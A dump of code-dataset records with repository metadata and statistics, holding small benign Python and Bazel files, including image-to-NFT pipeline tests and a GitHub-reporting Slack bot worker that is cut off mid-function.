408211db92af0a2d57ae856657e3b6d8b7efe835
|
[
"MIT"
] | 29
|
2017-11-22T21:56:51.000Z
|
2021-09-20T13:08:05.000Z
|
firetail/utils/__init__.py
|
evidex/Firetail
|
408211db92af0a2d57ae856657e3b6d8b7efe835
|
[
"MIT"
] | 43
|
2017-11-22T10:57:32.000Z
|
2022-03-08T07:20:36.000Z
|
firetail/utils/__init__.py
|
evidex/Firetail
|
408211db92af0a2d57ae856657e3b6d8b7efe835
|
[
"MIT"
] | 25
|
2017-12-13T22:14:37.000Z
|
2021-08-12T03:58:53.000Z
|
from .formatters import make_embed
from .enums import ExitCodes
| 21.333333
| 34
| 0.84375
| 9
| 64
| 5.888889
| 0.777778
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.125
| 64
| 2
| 35
| 32
| 0.946429
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 5
|
ba3aa0c4a67c2a4b2d0ba62a51729222d9622cf8
| 82
|
py
|
Python
|
inscrawler/.ipynb_checkpoints/metros-checkpoint.py
|
asmitks/instagram-crawler
|
14919b1f13eaea00877a9b80e1c3d9970f6ecdf1
|
[
"MIT"
] | 1
|
2020-08-11T13:00:37.000Z
|
2020-08-11T13:00:37.000Z
|
inscrawler/metros.py
|
asmitks/instagram-crawler
|
14919b1f13eaea00877a9b80e1c3d9970f6ecdf1
|
[
"MIT"
] | null | null | null |
inscrawler/metros.py
|
asmitks/instagram-crawler
|
14919b1f13eaea00877a9b80e1c3d9970f6ecdf1
|
[
"MIT"
] | null | null | null |
metro={ 'Minneapolis':'214063175','New York':'212988663','Washington':'213480180'}
| 82
| 82
| 0.731707
| 8
| 82
| 7.5
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.3375
| 0.02439
| 82
| 1
| 82
| 82
| 0.4125
| 0
| 0
| 0
| 0
| 0
| 0.674699
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 5
|
ba41fb945c50dc663140524928c478c4c9ecf0c9
| 118
|
py
|
Python
|
tools/client/text_color.py
|
CryonicsX/Hacking-tools
|
416b1981a2a57f22d993d67a7d26df389353aae3
|
[
"MIT"
] | 28
|
2021-08-01T20:17:29.000Z
|
2022-03-30T02:12:52.000Z
|
tools/client/text_color.py
|
vansikasingh/Hacking-tools
|
416b1981a2a57f22d993d67a7d26df389353aae3
|
[
"MIT"
] | null | null | null |
tools/client/text_color.py
|
vansikasingh/Hacking-tools
|
416b1981a2a57f22d993d67a7d26df389353aae3
|
[
"MIT"
] | 7
|
2021-08-12T19:29:10.000Z
|
2022-03-28T06:16:02.000Z
|
class color(object):
GREEN = '\033[92m'
YELLOW = '\033[93m'
RED = '\033[91m'
RESET_ALL = '\033[0m'
| 23.6
| 25
| 0.525424
| 16
| 118
| 3.8125
| 0.8125
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.223529
| 0.279661
| 118
| 5
| 25
| 23.6
| 0.494118
| 0
| 0
| 0
| 0
| 0
| 0.269565
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
|
0
| 5
|
ba5b5eb1efaf9390671df4b573cad809ca26f4df
| 110
|
py
|
Python
|
yc248/1052.py
|
c-yan/yukicoder
|
cdbbd65402177225dd989df7fe01f67908484a69
|
[
"MIT"
] | null | null | null |
yc248/1052.py
|
c-yan/yukicoder
|
cdbbd65402177225dd989df7fe01f67908484a69
|
[
"MIT"
] | null | null | null |
yc248/1052.py
|
c-yan/yukicoder
|
cdbbd65402177225dd989df7fe01f67908484a69
|
[
"MIT"
] | null | null | null |
N, K = map(int, input().split())
if N % 2 == 0:
print(min(K + 1, N // 2))
else:
print(min(K + 1, N))
| 15.714286
| 32
| 0.454545
| 22
| 110
| 2.272727
| 0.590909
| 0.08
| 0.36
| 0.4
| 0.44
| 0
| 0
| 0
| 0
| 0
| 0
| 0.063291
| 0.281818
| 110
| 6
| 33
| 18.333333
| 0.56962
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0
| 0
| 0
| 0.4
| 1
| 0
| 0
| null | 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 5
|
ba865bfa446ae98a195a6112e6b0ed917bc54d9b
| 59
|
py
|
Python
|
deliver/functions_will/differ.py
|
mariecpereira/Extracao-de-Caracteristicas-Corpo-Caloso
|
f094c706db815f91cf61d1d501c2a9030b9b54d3
|
[
"MIT"
] | null | null | null |
deliver/functions_will/differ.py
|
mariecpereira/Extracao-de-Caracteristicas-Corpo-Caloso
|
f094c706db815f91cf61d1d501c2a9030b9b54d3
|
[
"MIT"
] | null | null | null |
deliver/functions_will/differ.py
|
mariecpereira/Extracao-de-Caracteristicas-Corpo-Caloso
|
f094c706db815f91cf61d1d501c2a9030b9b54d3
|
[
"MIT"
] | null | null | null |
# -*- encoding: utf-8 -*-
def differ(a,b):
return a-b
| 11.8
| 25
| 0.525424
| 10
| 59
| 3.1
| 0.8
| 0.129032
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.022222
| 0.237288
| 59
| 4
| 26
| 14.75
| 0.666667
| 0.389831
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.5
| false
| 0
| 0
| 0.5
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 1
| 0
|
0
| 5
|
bae44bfb57de430c75e357767dff23969c054b53
| 123
|
py
|
Python
|
Star Pattern/Alphabetic Pattern.py
|
Autoratch/Hacktoberfest-Codedump
|
94506ceb89fb4e07a23b3952a1b772b898e23a69
|
[
"MIT"
] | 5
|
2021-09-28T16:24:48.000Z
|
2021-10-01T04:13:08.000Z
|
Star Pattern/Alphabetic Pattern.py
|
Autoratch/Hacktoberfest-Codedump
|
94506ceb89fb4e07a23b3952a1b772b898e23a69
|
[
"MIT"
] | 38
|
2021-10-01T05:50:08.000Z
|
2021-10-06T04:16:23.000Z
|
Star Pattern/Alphabetic Pattern.py
|
Autoratch/Hacktoberfest-Codedump
|
94506ceb89fb4e07a23b3952a1b772b898e23a69
|
[
"MIT"
] | 32
|
2021-10-01T14:34:12.000Z
|
2021-10-16T15:11:49.000Z
|
# outer loop
for i in range (65,70):
# inner loop
for j in range(65,i+1):
print(chr(j),end="")
print()
| 17.571429
| 28
| 0.528455
| 22
| 123
| 2.954545
| 0.636364
| 0.215385
| 0.276923
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.081395
| 0.300813
| 123
| 6
| 29
| 20.5
| 0.674419
| 0.170732
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0.5
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
|
0
| 5
|
240e26a7bebdcaddcfd79bd81e1c3bce7ba9b0f9
| 46
|
py
|
Python
|
tests/__init__.py
|
chan-dra/django-rest-framework-oauth
|
b85afd29e4bbc85697edabab9644edc5b4fe60de
|
[
"MIT"
] | 5
|
2015-01-02T09:40:48.000Z
|
2015-11-14T01:58:55.000Z
|
tests/__init__.py
|
chan-dra/django-rest-framework-oauth
|
b85afd29e4bbc85697edabab9644edc5b4fe60de
|
[
"MIT"
] | 1
|
2020-03-30T08:57:18.000Z
|
2020-03-30T08:57:18.000Z
|
tests/__init__.py
|
chan-dra/django-rest-framework-oauth
|
b85afd29e4bbc85697edabab9644edc5b4fe60de
|
[
"MIT"
] | 1
|
2018-03-22T18:15:14.000Z
|
2018-03-22T18:15:14.000Z
|
"""
Tests for Django REST Framework OAuth
"""
| 11.5
| 37
| 0.695652
| 6
| 46
| 5.333333
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.173913
| 46
| 3
| 38
| 15.333333
| 0.842105
| 0.804348
| 0
| null | 0
| null | 0
| 0
| null | 0
| 0
| 0
| null | 1
| null | true
| 0
| 0
| null | null | null | 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 5
|
24310fea340d4991d316093b269f3b4eb7aafa00
| 140
|
py
|
Python
|
problemsets/Codeforces/Python/A195.py
|
juarezpaulino/coderemite
|
a4649d3f3a89d234457032d14a6646b3af339ac1
|
[
"Apache-2.0"
] | null | null | null |
problemsets/Codeforces/Python/A195.py
|
juarezpaulino/coderemite
|
a4649d3f3a89d234457032d14a6646b3af339ac1
|
[
"Apache-2.0"
] | null | null | null |
problemsets/Codeforces/Python/A195.py
|
juarezpaulino/coderemite
|
a4649d3f3a89d234457032d14a6646b3af339ac1
|
[
"Apache-2.0"
] | null | null | null |
"""
*
* Author: Juarez Paulino(coderemite)
* Email: juarez.paulino@gmail.com
*
"""
a,b,c=map(int,input().split())
print(0--(a*c)//b-c)
| 17.5
| 38
| 0.6
| 22
| 140
| 3.818182
| 0.727273
| 0.309524
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.008197
| 0.128571
| 140
| 8
| 39
| 17.5
| 0.680328
| 0.535714
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0
| 0
| 0
| 0.5
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
|
0
| 5
|
244a964829e8eda3824f73f6e13c49c0cbe582de
| 236
|
py
|
Python
|
GlobalData/__init__.py
|
fire17/GlobalData
|
aa3b4156ad951bc360209928b94b057391d6d2f3
|
[
"MIT"
] | null | null | null |
GlobalData/__init__.py
|
fire17/GlobalData
|
aa3b4156ad951bc360209928b94b057391d6d2f3
|
[
"MIT"
] | null | null | null |
GlobalData/__init__.py
|
fire17/GlobalData
|
aa3b4156ad951bc360209928b94b057391d6d2f3
|
[
"MIT"
] | null | null | null |
#!/usr/bin/env python
#
# Author: Tami Bar (fire17@gmail.com)
#__init__.py
#from GlobalData.GlobalData import *
#from GlobalData.Globals import *
#from GlobalData.Universe import *
from GlobalData import GlobalData, Globals, Universe
| 21.454545
| 52
| 0.771186
| 30
| 236
| 5.933333
| 0.566667
| 0.314607
| 0.337079
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.009662
| 0.122881
| 236
| 10
| 53
| 23.6
| 0.850242
| 0.707627
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 5
|
2453084023308aca47987eba0dd3d467b8fa595c
| 148
|
py
|
Python
|
menu/admin.py
|
electricsheepindream/menu
|
009576c1da4a35d655abab8be66c31c5ad0d3635
|
[
"MIT"
] | null | null | null |
menu/admin.py
|
electricsheepindream/menu
|
009576c1da4a35d655abab8be66c31c5ad0d3635
|
[
"MIT"
] | null | null | null |
menu/admin.py
|
electricsheepindream/menu
|
009576c1da4a35d655abab8be66c31c5ad0d3635
|
[
"MIT"
] | null | null | null |
from django.contrib import admin
from .models import Menu, Items
# Register your models here.
admin.site.register(Menu)
admin.site.register(Items)
| 21.142857
| 32
| 0.797297
| 22
| 148
| 5.363636
| 0.545455
| 0.152542
| 0.288136
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.114865
| 148
| 6
| 33
| 24.666667
| 0.900763
| 0.175676
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.5
| 0
| 0.5
| 0
| 1
| 0
| 0
| null | 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 5
|
030f30bf2025d8512f9840cd4698036e75af7903
| 1,221
|
bzl
|
Python
|
source/bazel/deps/sfml/get.bzl
|
luxe/unilang
|
6c8a431bf61755f4f0534c6299bd13aaeba4b69e
|
[
"MIT"
] | 33
|
2019-05-30T07:43:32.000Z
|
2021-12-30T13:12:32.000Z
|
source/bazel/deps/sfml/get.bzl
|
luxe/unilang
|
6c8a431bf61755f4f0534c6299bd13aaeba4b69e
|
[
"MIT"
] | 371
|
2019-05-16T15:23:50.000Z
|
2021-09-04T15:45:27.000Z
|
source/bazel/deps/sfml/get.bzl
|
luxe/unilang
|
6c8a431bf61755f4f0534c6299bd13aaeba4b69e
|
[
"MIT"
] | 6
|
2019-08-22T17:37:36.000Z
|
2020-11-07T07:15:32.000Z
|
# Do not edit this file directly.
# It was auto-generated by: code/programs/reflexivity/reflexive_refresh
load("@bazel_tools//tools/build_defs/repo:http.bzl", "http_archive")
def sfml():
http_archive(
name="sfml" ,
build_file="//bazel/deps/sfml:build.BUILD" ,
sha256="6b013624aa9a916da2d37180772031e963098494538f59a14f40e00db23c9077" ,
strip_prefix="SFML-257e50beb886f1edebeebbde1903169da4eca39f" ,
urls = [
"https://github.com/Unilang/SFML/archive/257e50beb886f1edebeebbde1903169da4eca39f.tar.gz",
], patch_cmds = [
"sed -i 's/.*m_key(0).*/ptr(nullptr)/' src/SFML/System/Unix/ThreadLocalImpl.cpp",
"sed -i 's/.*pthread_key_create.*/ptr = nullptr;/' src/SFML/System/Unix/ThreadLocalImpl.cpp",
"sed -i 's/.*pthread_key_delete.*//' src/SFML/System/Unix/ThreadLocalImpl.cpp",
"sed -i 's/.*pthread_setspecific.*/ptr = value;/' src/SFML/System/Unix/ThreadLocalImpl.cpp",
"sed -i 's/.*pthread_getspecific.*/return ptr;/' src/SFML/System/Unix/ThreadLocalImpl.cpp",
"sed -i 's/.*pthread_key_t m_key.*/void* ptr=nullptr;/' src/SFML/System/Unix/ThreadLocalImpl.hpp",
],
)
| 48.84
| 110
| 0.658477
| 141
| 1,221
| 5.574468
| 0.468085
| 0.030534
| 0.038168
| 0.129771
| 0.389313
| 0.389313
| 0.389313
| 0.335878
| 0.335878
| 0.335878
| 0
| 0.091457
| 0.185094
| 1,221
| 24
| 111
| 50.875
| 0.698492
| 0.082719
| 0
| 0
| 1
| 0.277778
| 0.717099
| 0.512086
| 0
| 0
| 0
| 0
| 0
| 1
| 0.055556
| true
| 0
| 0
| 0
| 0.055556
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 1
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 5
|
032cf1d600b01ad7eabd3be63d8bb9f8e3bf8aaf
| 6,134
|
py
|
Python
|
job-orchestrator/tests/test_tasks.py
|
anaai/anaai
|
fa49ba107e7c6d32aef46796452308334517a224
|
[
"MIT"
] | 31
|
2022-01-26T21:47:31.000Z
|
2022-03-21T12:22:39.000Z
|
job-orchestrator/tests/test_tasks.py
|
anaai/anaai
|
fa49ba107e7c6d32aef46796452308334517a224
|
[
"MIT"
] | 3
|
2022-01-24T11:16:05.000Z
|
2022-01-28T15:11:19.000Z
|
job-orchestrator/tests/test_tasks.py
|
anaai/anaai
|
fa49ba107e7c6d32aef46796452308334517a224
|
[
"MIT"
] | 2
|
2022-02-08T12:07:55.000Z
|
2022-02-08T19:45:40.000Z
|
from unittest.mock import patch, ANY
import numpy as np
import cv2
from tasks import (
_download_image, ascii, candy, mosaic, the_scream,
udnie, celeba_distill, face_paint, paprika
)
IMAGE_URL = "image_url"
IMAGE_NAME = "image_name"
IMAGE_PATH = "image_path"
IMAGE_IPFS_URL = "pinata_hash_123"
METADATA_IPFS_URL = "pinata_hash_365"
PAYER = "payer"
TRANSFORMATION_NAME = "sketch"
TRANSFORMATION_NUMBER = 1
TOKEN_NAME = "sketch #1"
def _setup_mocks(dir_mock, pinata_mock, download_mock, original_image):
dir_mock.local_file_path.return_value = IMAGE_PATH
pinata_mock().pin_image.return_value = IMAGE_IPFS_URL
pinata_mock().pin_metadata.return_value = METADATA_IPFS_URL
download_mock.return_value = original_image
def _assert_call_order_and_params(download_mock, dir_mock, cv2_mock, pinata_mock, requests_mock):
# 1. Download the image
download_mock.assert_called_with(IMAGE_URL)
# 2. Create a file path on the tmp file system
dir_mock.local_file_path.assert_called_with(f"{IMAGE_NAME}.jpg")
# 3. Store the image locally
cv2_mock.imwrite.assert_called_with(IMAGE_PATH, ANY)
# 4. Upload the image to pinata
pinata_mock().pin_image.assert_called_with(IMAGE_PATH)
# 5. Upload nft metadata to pinata
pinata_mock().pin_metadata.assert_called_with(IMAGE_IPFS_URL, TOKEN_NAME,
PAYER, TRANSFORMATION_NAME)
# 6. Remove image from the tmp file system
dir_mock.remove_file.assert_called_with(IMAGE_PATH)
# 7. Post nft
requests_mock.post.assert_called_with(
ANY,
json = {"payer": PAYER, "token_uri": METADATA_IPFS_URL}
)
@patch("tasks.requests")
@patch("tasks.cv2")
@patch("tasks.working_directory", return_value="image_path.jpg")
@patch("tasks.PinataClient")
@patch("tasks._download_image")
def test_ascii(download_mock, pinata_mock, dir_mock, cv2_mock, requests_mock):
original_image = cv2.imread("tests/original.jpeg")
_setup_mocks(dir_mock, pinata_mock, download_mock, original_image)
status = ascii(TRANSFORMATION_NAME, TRANSFORMATION_NUMBER, PAYER, IMAGE_URL, IMAGE_NAME)
_assert_call_order_and_params(download_mock, dir_mock, cv2_mock, pinata_mock, requests_mock)
@patch("tasks.requests")
@patch("tasks.cv2")
@patch("tasks.working_directory", return_value="image_path.jpg")
@patch("tasks.PinataClient")
@patch("tasks._download_image")
def test_candy(download_mock, pinata_mock, dir_mock, cv2_mock, requests_mock):
original_image = cv2.imread("tests/original.jpeg")
_setup_mocks(dir_mock, pinata_mock, download_mock, original_image)
status = candy(TRANSFORMATION_NAME, TRANSFORMATION_NUMBER, PAYER, IMAGE_URL, IMAGE_NAME)
_assert_call_order_and_params(download_mock, dir_mock, cv2_mock, pinata_mock, requests_mock)
@patch("tasks.requests")
@patch("tasks.cv2")
@patch("tasks.working_directory", return_value="image_path.jpg")
@patch("tasks.PinataClient")
@patch("tasks._download_image")
def test_mosaic(download_mock, pinata_mock, dir_mock, cv2_mock, requests_mock):
original_image = cv2.imread("tests/original.jpeg")
_setup_mocks(dir_mock, pinata_mock, download_mock, original_image)
status = mosaic(TRANSFORMATION_NAME, TRANSFORMATION_NUMBER, PAYER, IMAGE_URL, IMAGE_NAME)
_assert_call_order_and_params(download_mock, dir_mock, cv2_mock, pinata_mock, requests_mock)
@patch("tasks.requests")
@patch("tasks.cv2")
@patch("tasks.working_directory", return_value="image_path.jpg")
@patch("tasks.PinataClient")
@patch("tasks._download_image")
def test_the_scream(download_mock, pinata_mock, dir_mock, cv2_mock, requests_mock):
original_image = cv2.imread("tests/original.jpeg")
_setup_mocks(dir_mock, pinata_mock, download_mock, original_image)
status = the_scream(TRANSFORMATION_NAME, TRANSFORMATION_NUMBER, PAYER, IMAGE_URL, IMAGE_NAME)
_assert_call_order_and_params(download_mock, dir_mock, cv2_mock, pinata_mock, requests_mock)
@patch("tasks.requests")
@patch("tasks.cv2")
@patch("tasks.working_directory", return_value="image_path.jpg")
@patch("tasks.PinataClient")
@patch("tasks._download_image")
def test_udnie(download_mock, pinata_mock, dir_mock, cv2_mock, requests_mock):
original_image = cv2.imread("tests/original.jpeg")
_setup_mocks(dir_mock, pinata_mock, download_mock, original_image)
status = udnie(TRANSFORMATION_NAME, TRANSFORMATION_NUMBER, PAYER, IMAGE_URL, IMAGE_NAME)
_assert_call_order_and_params(download_mock, dir_mock, cv2_mock, pinata_mock, requests_mock)
@patch("tasks.requests")
@patch("tasks.cv2")
@patch("tasks.working_directory", return_value="image_path.jpg")
@patch("tasks.PinataClient")
@patch("tasks._download_image")
def test_celeba_distill(download_mock, pinata_mock, dir_mock, cv2_mock, requests_mock):
original_image = cv2.imread("tests/gril.jpg")
_setup_mocks(dir_mock, pinata_mock, download_mock, original_image)
status = celeba_distill(TRANSFORMATION_NAME, TRANSFORMATION_NUMBER, PAYER, IMAGE_URL, IMAGE_NAME)
_assert_call_order_and_params(download_mock, dir_mock, cv2_mock, pinata_mock, requests_mock)
@patch("tasks.requests")
@patch("tasks.cv2")
@patch("tasks.working_directory", return_value="image_path.jpg")
@patch("tasks.PinataClient")
@patch("tasks._download_image")
def test_face_paint(download_mock, pinata_mock, dir_mock, cv2_mock, requests_mock):
original_image = cv2.imread("tests/gril.jpg")
_setup_mocks(dir_mock, pinata_mock, download_mock, original_image)
status = face_paint(TRANSFORMATION_NAME, TRANSFORMATION_NUMBER, PAYER, IMAGE_URL, IMAGE_NAME)
_assert_call_order_and_params(download_mock, dir_mock, cv2_mock, pinata_mock, requests_mock)
@patch("tasks.requests")
@patch("tasks.cv2")
@patch("tasks.working_directory", return_value="image_path.jpg")
@patch("tasks.PinataClient")
@patch("tasks._download_image")
def test_paprika(download_mock, pinata_mock, dir_mock, cv2_mock, requests_mock):
original_image = cv2.imread("tests/gril.jpg")
_setup_mocks(dir_mock, pinata_mock, download_mock, original_image)
status = paprika(TRANSFORMATION_NAME, TRANSFORMATION_NUMBER, PAYER, IMAGE_URL, IMAGE_NAME)
_assert_call_order_and_params(download_mock, dir_mock, cv2_mock, pinata_mock, requests_mock)
| 38.822785
| 99
| 0.793609
| 872
| 6,134
| 5.174312
| 0.102064
| 0.088652
| 0.080674
| 0.052748
| 0.792775
| 0.75953
| 0.749335
| 0.749335
| 0.749335
| 0.749335
| 0
| 0.00902
| 0.096348
| 6,134
| 157
| 100
| 39.070064
| 0.804979
| 0.034072
| 0
| 0.566372
| 0
| 0
| 0.175427
| 0.05949
| 0
| 0
| 0
| 0
| 0.141593
| 1
| 0.088496
| false
| 0
| 0.035398
| 0
| 0.123894
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 5
|
035f9c750013f854f59342d4fc80ba9703e51624
| 91
|
py
|
Python
|
tests/api/messaging/test_messaging.py
|
Priyankk18k/python-amazon-sp-api
|
fc1762d943f17802cdc7ea1d6d716dfcef569164
|
[
"MIT"
] | 213
|
2020-12-20T09:43:47.000Z
|
2022-03-30T10:00:41.000Z
|
tests/api/messaging/test_messaging.py
|
Priyankk18k/python-amazon-sp-api
|
fc1762d943f17802cdc7ea1d6d716dfcef569164
|
[
"MIT"
] | 173
|
2021-01-02T10:24:27.000Z
|
2022-03-31T08:27:48.000Z
|
tests/api/messaging/test_messaging.py
|
Priyankk18k/python-amazon-sp-api
|
fc1762d943f17802cdc7ea1d6d716dfcef569164
|
[
"MIT"
] | 109
|
2021-01-06T03:16:47.000Z
|
2022-03-24T11:41:29.000Z
|
from sp_api.api.messaging.messaging import Messaging
from sp_api.base import Marketplaces
| 22.75
| 52
| 0.857143
| 14
| 91
| 5.428571
| 0.5
| 0.157895
| 0.236842
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.098901
| 91
| 3
| 53
| 30.333333
| 0.926829
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 5
|
cee41efecb0a24d3ba5b653f5bfb237c32902c50
| 5,485
|
py
|
Python
|
app/worker.py
|
viharam/git-slack-bot
|
71c5125a51fd9f978d77d78499db39edc2fbe382
|
[
"MIT"
] | 1
|
2021-11-09T08:07:20.000Z
|
2021-11-09T08:07:20.000Z
|
app/worker.py
|
parithiban/git-slack-bot
|
71c5125a51fd9f978d77d78499db39edc2fbe382
|
[
"MIT"
] | 1
|
2021-06-01T23:49:59.000Z
|
2021-06-01T23:49:59.000Z
|
app/worker.py
|
viharam/git-slack-bot
|
71c5125a51fd9f978d77d78499db39edc2fbe382
|
[
"MIT"
] | 1
|
2019-11-30T13:41:04.000Z
|
2019-11-30T13:41:04.000Z
|
from flask import current_app as app
from tabulate import tabulate
from flask_rq2 import RQ
from config import get_env
from app.utils.githelper import GitApi
from app.utils.slackhelper import SlackHelper
rq = RQ()
__slack_helper = SlackHelper()
__git_helper = GitApi()
@rq.job
def pull_request_of_given_repo(args):
try:
result = __git_helper.get_pull_request(args['repo'])
if not result:
message = app.config['NO_PULL_REQUEST'] + ' for ' + args['repo']
__slack_helper.send_message(message, args['response_url'])
else:
n = 25
"""Chunk the big list into group of 20 as it would be neater to send slack message """
message = "Hello <@" + args['user_id'] + "> \n"
message += " *Pending Pull request in " + args['repo'] + "*\n"
chunk_lists = chunk_list_group(result, n)
__slack_helper.send_message(message, args['response_url'])
for chunk_list in chunk_lists:
message = "```\n" + tabulate(
chunk_list,
headers="keys",
tablefmt="psql") + "\n```\n"
__slack_helper.send_message(message, args['response_url'])
except Exception:
exception = "Hello <@" + args['user_id'] + \
"> there is a problem with your request. Please contact the administrator"
__slack_helper.send_message(exception, args['response_url'])
@rq.job
def github_users_without_profile_name(args):
try:
result = __git_helper.get_users_without_profile_name()
if not result:
message = app.config['USERS_WITHOUT_PROFILE_NAME']
__slack_helper.send_message(message, args['response_url'])
else:
n = 25
"""Chunk the big list into group of 20 as it would be neater to send slack message """
message = "Hello <@" + args['user_id'] + "> \n"
message += "*List of users whose profile name is not filled* \n"
chunk_lists = chunk_list_group(result, n)
__slack_helper.send_message(message, args['response_url'])
for chunk_list in chunk_lists:
message = "```\n" + tabulate(
chunk_list,
headers="keys",
tablefmt="psql") + "\n```\n"
__slack_helper.send_message(message, args['response_url'])
except Exception:
exception = "Hello <@" + args['user_id'] + \
"> there is a problem with your request. Please contact the administrator"
__slack_helper.send_message(exception, args['response_url'])
@rq.job
def github_pull_request_report(args):
try:
result = __git_helper.get_pull_request_report_of_org()
n = 25
"""Chunk the big list into group of 20 as it would be neater to send slack message """
message = "Hello <@" + args['user_id'] + "> \n"
message += "*Pull request report for " + \
get_env('ORGANISATION') + "* \n"
chunk_lists = chunk_list_group(result, n)
__slack_helper.send_message(message, args['response_url'])
for chunk_list in chunk_lists:
message = "```\n" + tabulate(
chunk_list,
headers="keys",
tablefmt="psql") + "\n```\n"
__slack_helper.send_message(message, args['response_url'])
except Exception:
exception = "Hello <@" + args['user_id'] + \
"> there is a problem with your request. Please contact the administrator"
__slack_helper.send_message(exception, args['response_url'])
@rq.job
def github_issue_report(args):
try:
result = __git_helper.get_issue_request_report_of_org()
n = 25
